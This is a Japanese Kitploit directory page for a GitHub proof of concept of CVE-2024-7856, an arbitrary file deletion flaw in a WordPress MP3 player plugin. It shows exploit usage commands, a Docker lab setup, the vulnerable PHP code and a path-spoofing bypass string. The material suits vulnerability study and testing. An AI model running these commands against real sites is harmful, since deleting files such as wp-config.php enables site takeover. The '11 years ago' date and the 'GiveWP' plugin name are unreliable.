Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-7856 — CVE-2024-7856 の概念実証 | Kitploit
ツール/GitHubGitHub/l8bl/cve-2024-7856
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubl8bl/cve-2024-7856

CVE-2024-7856

CVE-2024-7856 の概念実証

リポジトリを見る
11年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-7856

★ CVE-2024-7856 任意ファイル削除 PoC ★

説明

CVE-2024-7856 : MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar <= 5.7.0.1 – 認証済み(購読者以上)ユーザーによる欠落した認可に起因する任意ファイル削除

研究者: Arkadiusz Hydzik

説明: WordPress用プラグイン「MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar」は、バージョン5.7.0.1以前において、removeTempFiles()関数に機能チェックが欠落しており、'file'パラメータのパス検証が不十分であるため、認証された攻撃者(購読者レベル以上)が任意のファイルを削除できる脆弱性が存在します。これにより、wp-config.phpが削除された場合、リモートコード実行が可能になる可能性があります。

使用方法

Git クローン

root@kitploit:~
git clone https://github.com/l8BL/CVE-2024-7856.git
cd CVE-2024-7856

パッケージのインストール

root@kitploit:~
pip install -r requirements.txt

コマンド

root@kitploit:~
# 任意ファイル削除
python3 CVE-2024-7856.py -u <URL_TO_EXPLOIT> -f <FILE_TO_DELETE>
python3 CVE-2024-7856.py -u <URL_TO_EXPLOIT> -f <FILE_TO_DELETE> -i <USER_ID_TO_LOGIN> -p <USER_PW_TO_LOGIN>

例

root@kitploit:~
python3 CVE-2024-7856.py -u http://example.com/ -f /tmp/test
python3 CVE-2024-7856.py -u http://example.com/ -f /tmp/test -i EQSTtester -p q1w2e3r4t5y!

出力

CVE-2024-7856.py alt text

結果

alt text

脆弱環境

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. 次に、脆弱なGiveWPプラグインをダウンロードしてください:

https://downloads.wordpress.org/plugin/mp3-music-player-by-sonaar.5.7.zip

3. GiveWPプラグインのzipファイルを解凍し、ファイル全体を “/var/www/html/wp-content/plugins” ディレクトリにコピーします。

root@kitploit:~
docker cp mp3-music-player-by-sonaar docker-wordpress-1:/var/www/html/wp-content/plugins

分析

脆弱性ポイント1 (includes/class-sonaar-music.php)

root@kitploit:~
public function removeTempFiles(){
		// will unlink the temporary peak file and generate another one automatically.

		check_ajax_referer('sonaar_music_admin_ajax_nonce', 'nonce');
	
		$is_temp = filter_input(INPUT_POST, 'is_temp', FILTER_VALIDATE_BOOLEAN);
		$file = filter_input(INPUT_POST, 'file', FILTER_SANITIZE_STRING);
	
		if ($is_temp && $file) {
			$upload_dir = wp_get_upload_dir();
			
			$peaks_dir = $this->get_peak_dir();
	
			$file_path_temp = str_replace($upload_dir['baseurl'] . $this->get_peak_dir(true), $peaks_dir, $file);
	
			if (strpos($file_path_temp, $peaks_dir) === 0 && file_exists($file_path_temp)) {
				wp_delete_file($file_path_temp);
			}
		}
		
		
	}

脆弱性ポイント2 (admin/class-sonaar-music-admin.php)

root@kitploit:~
if (strpos($hook, SR_PLAYLIST_CPT . '_page_srmp3_settings_') === 0) {
            wp_enqueue_script( 'cmb2_image_select_metafield-js', plugin_dir_url( __FILE__ ) . 'library/cmb2-image-select-field-type/image_select_metafield.js' , '', '1.0.0', true );  // Used for plugin settings page only. it does not work on group repeater fields
            wp_enqueue_script( 'sonaar-music', plugin_dir_url( __DIR__ ) . 'public/js/sonaar-music-public.js', array( 'jquery' ), $this->version, true ); // used for peak generation
            wp_localize_script('sonaar-admin', 'sonaar_music', array(
                'plugin_version_free'=> SRMP3_VERSION,
                'plugin_version_pro'=> ( defined( 'SRMP3PRO_VERSION' ) ? SRMP3PRO_VERSION : 'Not Installed' ),
                'ajax' => array(
                    'ajax_url' => admin_url( 'admin-ajax.php' ),
                    'ajax_nonce' => wp_create_nonce( 'sonaar_music_admin_ajax_nonce' ),
                    'ajax_nonce_peaks' => wp_create_nonce( 'sonaar_music_ajax_peaks_nonce' ),
                ),
            ));
            

        }

バイパス手法

パスのスプーフィング : /wp-admin/index.php/%0a/wp-admin/sr_playlist_page_srmp3_settings_

攻撃シナリオ

任意ファイル削除

認証されたユーザーは、任意ファイル削除を悪用できます。

免責事項

このリポジトリは、CVE-2024-7856の任意ファイル削除エクスプロイトを意図したものではありません。このプロジェクトの目的は、この脆弱性について学び、各自のアプリケーションをテストする手助けをすることです。

参考リンク

https://www.wordfence.com/blog/2024/09/critical-arbitrary-file-deletion-vulnerability-in-mp3-audio-player-wordpress-plugin-affects-over-20000-sites/

ツールをダウンロード